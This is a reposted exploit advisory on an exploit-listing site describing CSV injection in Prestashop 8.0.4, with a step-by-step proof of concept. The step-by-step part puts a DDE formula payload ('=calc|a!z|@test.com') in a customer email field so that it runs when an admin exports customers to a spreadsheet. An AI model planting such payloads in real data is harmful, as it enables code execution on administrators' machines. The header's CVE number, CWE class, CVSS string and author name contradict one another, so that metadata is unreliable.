Advertisement






Prestashop 8.0.4 CSV injection

CVE Category Price Severity
CVE-2021-2735 CWE-601 $1500 High
Author Risk Exploitation Type Date
Jinson Varghese Behanan High Remote 2023-06-07
CVSS
CVSS:4.6/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2023060011

Below is a copy:

Prestashop 8.0.4 CSV injection
Exploit Title: Prestashop 8.0.4 - CSV injection
Application: prestashop
Version: 8.0.4
Bugs:  CSV Injection
Technology: PHP
Vendor URL: https://prestashop.com/
Software Link: https://prestashop.com/prestashop-edition-basic/
Date of found: 14.05.2023
Author: Mirabbas Aalarov
Tested on: Windows


2. Technical Details & POC
========================================
Step 1. login as user
step 2. Go to My Account then information ( http://localhost/index.php?controller=identity )
step 3. Set Email as  =calc|a!z|@test.com
step 3. If admin Export costumers as CSV  file ,in The computer of admin  occurs csv injection and will open calculator (http://localhost/admin07637b2omxxdbmhikgb/index.php/sell/customers/?_token=mtc1BTvq-Oab2lBdfCaxpOorYraGGVMiTFluJzOpkWI)

payload: =calc|a!z|@test.com

Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.